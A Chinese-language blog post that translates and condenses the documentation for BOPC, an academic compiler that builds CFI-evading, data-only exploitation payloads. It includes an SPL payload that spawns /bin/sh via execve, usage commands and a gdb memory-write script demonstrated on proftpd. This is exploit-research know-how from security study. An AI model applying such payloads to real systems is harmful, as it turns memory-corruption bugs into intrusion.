基本上是对官方文档的翻译,适当删减了一些,把自己觉得重要的挑了出来:
https://github.com/HexHive/BOPC
论文来源CCS2018会议的一篇论文:BOP
文章目录
什么是BOPC?
BOPC表示BOP Compiler,就是一个自动化生成图灵完备的数据流payload的工具。BOPC在执行特定payload的二进制文件中找到执行路径,同时保证路径符合控制流图(CFG)的规则。这意味着现有的控制流防御措施不足以检测这种攻击。
BOPC基于基本块来实现的。他所做的就是去找功能块(执行有用计算的基本块)的集合。这个步骤有点像ROP找gadget。有了功能块,BOPC去找调度块来将功能块连起来。而ROP中从一个gadget到另外一个gadget没有限制。这里我们不能直接从一个功能块跳到另外一个功能块,因为这会违反控制流完整性(CFI)。相反,BOPC去找一系列调度块来使得程序从一个功能块执行到另外一个上。但是,实现数据流的payload是一个NP难问题,也就意味着BOPC找到一个可行的方案需要比较长时间。
BOPC需要三个输入:
- 目标二进制又给任意内存写的漏洞(硬需求)
- 目标payload,用高级语言SPL表示
- 入口点:二进制中的第一条指令
BOPC的输出是一个“what-where”内存写集合,表示内存要如何初始化(内存的某个地址要写某个具体的值)。当程序执行到入口点,内存会按BOPC的输出初始化,然后目标二进制文件不执行原来的路径,而是我们预期的payload。
友情提示:这个研究项目是由一个人写的。因为不是产品,所以不要期望这个可以在所有场景下都能正常工作。在提供的测试样例上都能很好工作,但是超出这个,作者就不能保证可以按期望地来运行。
安装
安装比较简单,就按以下三步就可以了:
git clone https://github.com/HexHive/BOPC.git
cd BOPC
sudo ./setup.sh
如何使用BOPC
BOPC的实现合和论文中有一点不一样,实际的实现如下图所示。
命令行参数
usage: BOPC.py [-h] [-b BINARY] [-a {save,load,saveonly}] [--emit-IR] [-d]
[-dd] [-ddd] [-dddd] [-V] [-s SOURCE] [-e ENTRY]
[-O {none,ooo,rewrite,full}] [-f {raw,idc,gdb}] [--find-all]
[--mapping-id ID] [--mapping MAP [MAP ...]] [--enum-mappings]
[--abstract-blk BLKADDR] [-c OPTIONS [OPTIONS ...]]
optional arguments:
-h, --help show this help message and exit
General Arguments:
-b BINARY, --binary BINARY
Binary file of the target application
-a {save,load,saveonly}, --abstractions {save,load,saveonly}
Work with abstraction file
--emit-IR Dump SPL IR to a file and exit
-d Set debugging level to minimum
-dd Set debugging level to basic (recommended)
-ddd Set debugging level to verbose (DEBUG ONLY)
-dddd Set debugging level to print-everything (DEBUG ONLY)
-V, --version show program's version number and exit
Search Options:
-s SOURCE, --source SOURCE
Source file with SPL payload
-e ENTRY, --entry ENTRY
The entry point in the binary that payload starts
-O {none,ooo,rewrite,full}, --optimizer {none,ooo,rewrite,full}
Use the SPL optimizer (Default: none)
-f {raw,idc,gdb}, --format {raw,idc,gdb}
The format of the solution (Default: raw)
--find-all Find all the solutions
Application Capability:
-c OPTIONS [OPTIONS ...], --capability OPTIONS [OPTIONS ...]
Measure application's capability. Options (can be many)
all Search for all Statements
regset Search for Register Assignments
regmod Search for Register Modifications
memrd Search for Memory Reads
memwr Search for Memory Writes
call Search for Function/System Calls
cond Search for Conditional Jumps
load Load capabilities from file
save Save capabilities to file
noedge Dump statements and exit (don't calculate edges)
Debugging Options:
--mapping-id ID Run the Trace Searching algorithm on a given mapping ID
--mapping MAP [MAP ...]
Run the Trace Searching algorithm on a given register mapping
--enum-mappings Enumerate all possible mappings and exit
--abstract-blk BLKADDR
Abstract a specific basic block and exit
参数主要分为四个部分:
- 通用
- 搜索
- 应用能力
- 调试
General Argument
为了避免直接在汇编上直接操作,BOPC对每个基本块进行了抽象。更多的细节可以去参考absblk.py
。抽象过程符号化执行了二进制中每个基本块,并且小心地监控其操作。
抽象过程基于二进制,而不需要SPL payload或者入口点,所以我们只要计算好抽象一次,然后把它存储为一个文件。save
和saveonly
的区别在于saveonly
在保存抽象后停止执行了,而save
还会继续搜索解决方案。load
就是从文件中加载抽象。
--emit-IR
是用来dump出SPL payload的中间表示。
BOPC还提供了五种详细级别:no option, -d
,-dd
,-ddd
和-dddd
。作者强烈推荐使用-dd
或者-ddd
来获取详细的过程信息。
Search options
最重要的参数是--source
,表示包含SPL payload的文件,--entry
表示二进制里的地址(入口点),路径搜索从这个入口点开始,所以这个是相当重要的参数。
优化器选项-o
是把双刃剑。一方面,它可以优化SPL payload来使其更灵活,也就意味着增加了找到方案的可能性,另一方面,搜索的空间增加了,也就更耗时了。决定在于用户,所以这个-o
选项是可选的。另外两个可选的优化是乱序执行(ooo
)和代码重写(rewrite
)。这里就不细翻译了,感兴趣的可以去原文看。
我们之前也说过,BOPC的输出是“what-where”的内存写集合。所以有几种表示输出的方式。比如可以表示为几行地址,值和要写入内存的数据大小。或者可以是gdb/IDA的脚本。目前gdb
这个选项已经实现了。
Application Capability
这个选项是用来衡量应用的能力,也就是给我们一个上界,目标二进制能执行什么payload。
Debugging Options
这个是用来协助审计/调试/开发的过程。这个功能主要是用来针对BOP流程的某个部分。比如说,你要针对一个特定的映射458,你不想等BOPC尝试前面的457个映射。这样可以使用--maping-id=458
来跳过所有的映射,然后集中精力针对这个映射。
最后,实际上BOPC还有很多设置选项,你可以在config.py里找到,并且根据你的需求做调整。
例子
现在来看看怎么去使用BOPC。第一件事就是获取基本块抽象。这个过程可能需要跑BOPC好几次,那么第一次的话,可以用下面的命令来做。
./source/BOPC.py -dd --binary $BINARY --abstractions saveonly
这个命令获取了二进制文件的抽象,然后保存到文件$BINARY.abs
,不要忘记开启debug来观察信息。
写一个SPL payload有点像写C语言:
void payload()
{
string prog = "/bin/sh\0";
int argv = {&prog, 0x0};
__r0 = &prog;
__r1 = &argv;
__r2 = 0;
execve(__r0, __r1, __r2);
}
作者提供了一些SPL payload供我们使用。理论上,我们可以用SPL 来写各种payload,但实际上payload越复杂,后面成功的概率会更小。
运行BOPC,可以用下面的命令
./source/BOPC.py -dd --binary $BINARY --source $PAYLOAD --abstractions load \
--entry $ENTRY --format gdb
如果一切正常的话,就会产生一个*.gdb
后缀的文件,这个文件包含了内存写集合来执行特定payload。
减小搜索空间
一个常见的问题是可能存在成千上万的映射,每个映射都要花1分钟来测试,所以BOPC可能会花好几天运行。
然而,如果我们大约知道解决方案在哪里可以实现,我们可以让BOPC快速找到并验证,而不需要尝试所有的映射。现在让我们假设我们想要执行下面的SPL payload。
void payload()
{
string msg = "This is my random message! :)\0";
__r0 = 0;
__r1 = &msg;
__r2 = 32;
write( __r0, __r1, __r2 );
}
因为我们有一个系统调用,所以我们知道寄存器的映射:__r0 <-> rdi, __r1 <-> rsi, __r2 <-> rdx
现在假设我们在proftpd
这个二进制文件,并且包含了以下这个功能块:
.text:000000000041D0B5 loc_41D0B5:
.text:000000000041D0B5 mov edi, cs:scoreboard_fd ; fd
.text:000000000041D0BB mov edx, 20h ; n
.text:000000000041D0C0 mov esi, offset header ; buf
.text:000000000041D0C5 call _write
这个基本块的抽象将会是下面这个(要获得一个基本块的抽象,需要在命令行输入--abstract-blk 0x41D0B5
):
[22:02:07,822] [+] Abstractions for basic block 0x41d0b5:
[22:02:07,823] [+] regwr :
[22:02:07,823] [+] rsp = {'writable': True, 'const': 576460752303359992L, 'type': 'concrete'}
[22:02:07,823] [+] rdi = {'sym': {}, 'memrd': None, 'type': 'deref', 'addr': <BV64 0x66e9e0>, 'deps': []}
[22:02:07,823] [+] rsi = {'writable': True, 'const': 6787008L, 'type': 'concrete'}
[22:02:07,823] [+] rdx = {'writable': False, 'const': 32L, 'type': 'concrete'}
[22:02:07,823] [+] memrd : set([(<SAO <BV64 0x66e9e0>>, 32)])
[22:02:07,823] [+] memwr : set([(<SAO <BV64 0x7ffffffffff07f8>>, <SAO <BV64 0x41d0ca>>)])
[22:02:07,823] [+] conwr : set([(576460752303359992L, 64)])
[22:02:07,823] [+] splmemwr : []
[22:02:07,823] [+] call : {}
[22:02:07,823] [+] cond : {}
[22:02:07,823] [+] symvars : {}
[22:02:07,823] [*]
这里,__r0 <-> rdi
间接加载,然后__r1 <-> rsi
这个值是678008
或者是十六进制的0x678fc0
。然后我们用--enum-mappings
枚举所有可能的映射。
如果我们观察输出,我们可以快速搜索到合适的映射,这个例子里是映射*#89*
[.... TRUNCATED FOR BREVITY ....]
[21:59:28,471] [*] Trying mapping #88:
[21:59:28,471] [*] Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
[21:59:28,471] [*] Variables: msg <-> *<BV64 0x7ffffffffff1440>
[21:59:28,614] [*] Trying mapping #89:
[21:59:28,614] [*] Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
[21:59:28,614] [*] Variables: msg <-> 0x678fc0L
[21:59:28,762] [*] Trying mapping #90:
[21:59:28,762] [*] Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
[21:59:28,762] [*] Variables: msg <-> *<BV64 r12_56287_64 + 0x28>
[.... TRUNCATED FOR BREVITY ....]
[22:00:04,709] [*] Trying mapping #287:
[22:00:04,709] [*] Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
[22:00:04,709] [*] Variables: msg <-> *<BV64 __add__(((0#32 .. rbx_294059_64[31:0]) << 0x5), r12_294068_64, 0x10)>
[22:00:04,979] [+] Trace searching algorithm finished with exit code 0
现在我们知道具体的映射了,我们可以告诉BOPC专注于这个映射。所以现在我们需要做的就是加上--mapping-id 89
这个选项。
我们运行它在1分钟50秒后,我们获取到了解决方案:
#
# This file has been created by BOPC at: 29/03/2018 22:04
#
# Solution #1
# Mapping #89
# Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
# Variables: msg <-> 0x678fc0L
#
# Simulated Trace: [(0, '41d0b5', '41d0b5'), (4, '41d0b5', '41d0b5'), (6, '41d0b5', '41d0b5'), (8, '41d0b5', '41d0b5'), (10, '41d0b5', '41d0b5')]
#
break *0x403740
break *0x41d0b5
# Entry point
set $pc = 0x41d0b5
# Allocation size is always bigger (it may not needed at all)
set $pool = malloc(20480)
# In case that rbp is not initialized
set $rbp = $rsp + 0x800
# Stack and frame pointers aliases
set $stack = $rsp
set $frame = $rbp
set {char[30]} (0x678fc0) = {0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x6d, 0x79, 0x20, 0x72, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x21, 0x20, 0x3a, 0x29, 0x00}
set {char[8]} (0x66e9e0) = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
Simulated Trace:表示BOPC走过的路径,可以看出这是一个三元组的列表,($pc, $src, $dst)
。
- pc表示SPL语句的程序计数器
- src表示当前SPL语句的功能块地址
- dst表示下一个功能块的地址
在运行前,脚本调整rip寄存器来指向入口点,确保栈指针是合法的。同时分配一个变量池。(这个例子没有用到这个东西,详情可以看simulate.py这个代码)
现在我们在地址0x678fc0
和0x66e9e0
有了内存写。如果现在在gdb里加载二进制,然后运行这个脚本,你就会发现你的payload被执行了。
(gdb) break main
Breakpoint 5 at 0x4041a0
(gdb) run
Starting program: /home/ispo/BOPC/evaluation/proftpd
Breakpoint 1, 0x00000000004041a0 in main ()
(gdb) continue
Continuing.
Breakpoint 3, 0x000000000041d0b5 in pr_open_scoreboard ()
(gdb) continue
Continuing.
Breakpoint 2, 0x0000000000403740 in write@plt ()
(gdb) continue
Continuing.
This is my random message! :)
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffde60 in ?? ()
需要注意的是BOPC在执行完特定的payload后就停止了。如果要避免这种情况的话,我们需要使用returnto
这个SPL语句来将执行转移到合法的位置。
测量应用能力
这个是新概念,论文中没有提到的。
除了找到数据流payload以外,BOPC提供了一些基础的能力测量。虽然这个和BOP没什么关系,但是这个功能可以指示出什么样的payload可以被执行。
要获得应用的能力,运行下面的代码:
./source/BOPC.py -dd --binary $BINARY --abstractions load --capability all save
如果想要简单地为特定的语句dump出所有的功能gadget,可以用下面的命令:
./source/BOPC.py -dd --binary $BINARY --abstractions load --capability $STMT noedge
$STMT
可以是这个集合{all, regset, regmod, memrd, memwr, call, cond}
中的一个或多个。noedge
用来加速运算的。因为它不计算能力图的边;能力图中的每个节点表示一个功能块,边表示两个功能块之间的上下文敏感的最短路径。
Final Notes
- 当符号执行处理文件系统时,我们必须提供一个合法的文件。文件名定义在coreutils.py中的
SYMBOLIC_FILENAME
- 如果要可视化的话,只要在search.py里取消注释
- 如果concolic execution无法工作的话,在simulate.py里调整
- 确保simulate.py里的
rsp
和dump()
一致